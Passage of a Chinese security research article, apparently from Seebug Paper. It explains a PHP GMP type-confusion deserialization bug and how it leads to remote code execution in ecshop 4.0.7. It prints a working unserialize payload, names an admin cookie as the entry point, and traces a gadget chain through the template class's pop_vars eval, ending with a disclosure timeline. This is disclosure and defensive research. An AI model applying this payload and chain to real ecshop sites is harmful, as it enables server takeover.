1234567891011121314151617181920212223242526272829array(1) {[0]=>&int(2)}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (4) {["ryat"]=>int(1)["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(2)}}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。
在完成前面的试验后,我们可以把漏洞的利用条件简化一下。
如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的
__wakeup
魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。
1var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));真实世界案例
在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。
漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。
这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。
漏洞环境
- ecshop 4.0.7
- php 5.6.9
反序列化漏洞
首先我们需要找到一个反序列化入口点,这里我们可以全局搜索
unserialize
,挨个看一下我们可以找到两个可控的反序列化入口。其中一个是search.php line 45
123456789...{$string = base64_decode(trim($_GET['encode']));if ($string !== false){$string = unserialize($string);if ($string !== false)...这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。
还有一个是admin/order.php line 229
123456/* 取得上一个、下一个订单号 */if (!empty($_COOKIE['ECSCP']['lastfilter'])){$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));...后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。
这样一来我们就找到了一个可控并且合适的反序列化入口点。
寻找合适的类属性利用链
在寻找利用链之前,我们可以用
1get_declared_classes()来确定在反序列化时,已经声明定义过的类。
在我本地环境下,除了PHP内置类以外我一共找到13个类
1234567891011121314151617181920212223242526[129]=>string(3) "ECS"[130]=>string(9) "ecs_error"[131]=>string(8) "exchange"[132]=>string(9) "cls_mysql"[133]=>string(11) "cls_session"[134]=>string(12) "cls_template"[135]=>string(11) "certificate"[136]=>string(6) "oauth2"[137]=>string(15) "oauth2_response"[138]=>string(14) "oauth2_request"[139]=>string(9) "transport"[140]=>string(6) "matrix"[141]=>string(16) "leancloud_client"从代码中也可以看到在文件头引入了多个库文件
123456require(dirname(__FILE__) . '/includes/init.php');require_once(ROOT_PATH . 'includes/lib_order.php');require_once(ROOT_PATH . 'includes/lib_goods.php');require_once(ROOT_PATH . 'includes/cls_matrix.php');include_once(ROOT_PATH . 'includes/cls_certificate.php');require('leancloud_push.php');这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。
在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明
12require(ROOT_PATH . 'includes/cls_template.php');$smarty = new cls_template;回到order.php中我们寻找与
$smarty
相关的方法,不难发现,主要集中在两个方法中12345...$smarty->assign('shipping', $shipping);$smarty->display('print.htm');...而这里我们主要把视角集中在display方法上。
粗略的浏览下display方法的逻辑大致是
12345请求相应的模板文件-->经过一系列判断,将相应的模板文件做相应的编译-->输出编译后的文件地址比较重要的代码会在
make_compiled
这个函数中被定义123456789101112131415161718192021function make_compiled($filename){$name = $this->compile_dir . '/' . basename($filename) . '.php';...if ($this->force_compile || $filestat['mtime'] > $expires){$this->_current_file = $filename;$source = $this->fetch_str(file_get_contents($filename));if (file_put_contents($name, $source, LOCK_EX) === false){trigger_error('can\'t write:' . $name);}$source = $this->_eval($source);}return $source;}当流程走到这一步的时候,我们需要先找到我们的目标是什么?
重新审视
cls_template.php
的代码,我们可以发现涉及到代码执行的只有几个函数。12345678910111213141516171819202122232425262728function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据{$pa = $this->str_trim($val);foreach ($pa AS $value){if (strrpos($value, '=')){list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));if ($b{0} == '$'){if ($type){eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');}else{$para[$a] = $this->get_val(substr($b, 1));}}else{$para[$a] = $b;}}}return $para;}get_para只在select中调用,但是没找到能触发select的地方。
然后是pop_vars
12345678910function pop_vars(){$key = array_pop($this->_temp_key);$val = array_pop($this->_temp_val);if (!empty($key)){eval($key);}}恰好配合GMP我们可以控制
$this->_temp_key
变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码
order_info.htm.php
1<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>在遍历完表单之后,正好会触发
pop_vars
。这样一来,只要我们控制覆盖
cls_template
变量的_temp_key
属性,我们就可以完成一次getshell最终利用效果
Timeline
- 2020.03.31 发现漏洞。
- 2020.03.31 将漏洞报送厂商、CVE、CNVD等。
- 2020.07.08 符合90天漏洞披露期,公开细节。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1267/